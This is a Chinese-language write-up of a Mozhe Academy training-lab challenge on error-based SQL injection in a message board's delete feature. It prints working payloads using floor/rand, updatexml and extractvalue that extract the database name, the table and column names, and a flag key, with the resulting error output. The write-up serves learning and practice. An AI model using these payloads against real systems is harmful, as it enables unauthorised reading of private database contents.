【墨者學院】--SQL注入漏洞測試(delete注入)

背景介紹

最近有人匿名給工程師留言說，感謝他的辛勤付出，把墨者學院建設的這麼好，不料激發了工程師對留言板的一波操作，輕鬆查到了這個人的身份。

實訓目標

1、熟練掌握留言板的工作原理；
2、善用burp抓取數據包；

解題方向

抓取數據包加以分析。

1、判斷注入類型

在？Id=62後面輸入單引號報錯，初步判定存在報錯型注入，報錯型注入的方法大概有10種左右，這裏分別使用floor、updatexml和extractvalue三種方法。其他的exp、multipoint貌似不太行。

2、獲取當前數據庫信息

and (select 1 from(select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)
==============================================================================
and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
==============================================================================
and (extractvalue(1, concat(0x5c,(select database()))))
==============================================================================

得到數據庫爲“pikaqiu”
XPATH syntax error: ‘\pikaqiu’

3、獲取數據庫中表

and (select 1 from(select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='
pikaqiu'),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)
==============================================================================
and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikaqiu'),0x7e),1))
==============================================================================
and (extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema='pikaqiu'))))

XPATH syntax error: ‘\message’
得到“message”表

4、獲取表中列信息

and (select 1 from(select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='message' limit 3,1),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)
==============================================================================
and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='message' limit 3,1),0x7e),1))
==============================================================================
and (extractvalue(1, concat(0x5c,(select column_name from information_schema.columns where table_name='message' limit 3,1))))

調整limit第一位數字得到列：“id”“content”“key” "time“
XPATH syntax error: ‘\key’

5、獲取key值

and (select 1 from(select count(*),concat(0x3a,0x3a,(SELECT concat_ws(':', `key`) FROM message limit 0,1)),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b)
==============================================================================
and (updatexml(1,concat(0x7e,(SELECT concat_ws(':', `key`) FROM message limit 0,1),0x7e),1))
==============================================================================
and extractvalue(1,concat(0x5c,(SELECT concat_ws(':', `key`) FROM message limit 0,1)))
==============================================================================

得到key值：
XPATH syntax error: ‘\mozheb18e10d2fbffaffbb315bf22d2’

6、總結

總結：在獲取key值的時候使用floor方法無法獲取到，不知道是啥原因，另外兩種方法在concat_ws(）裏面必須添加‘：’字段，不明白爲什麼。

另外：
sqlmap是跑不出來key值的。。。
sqlmap是跑不出來key值的。。。
sqlmap是跑不出來key值的。。。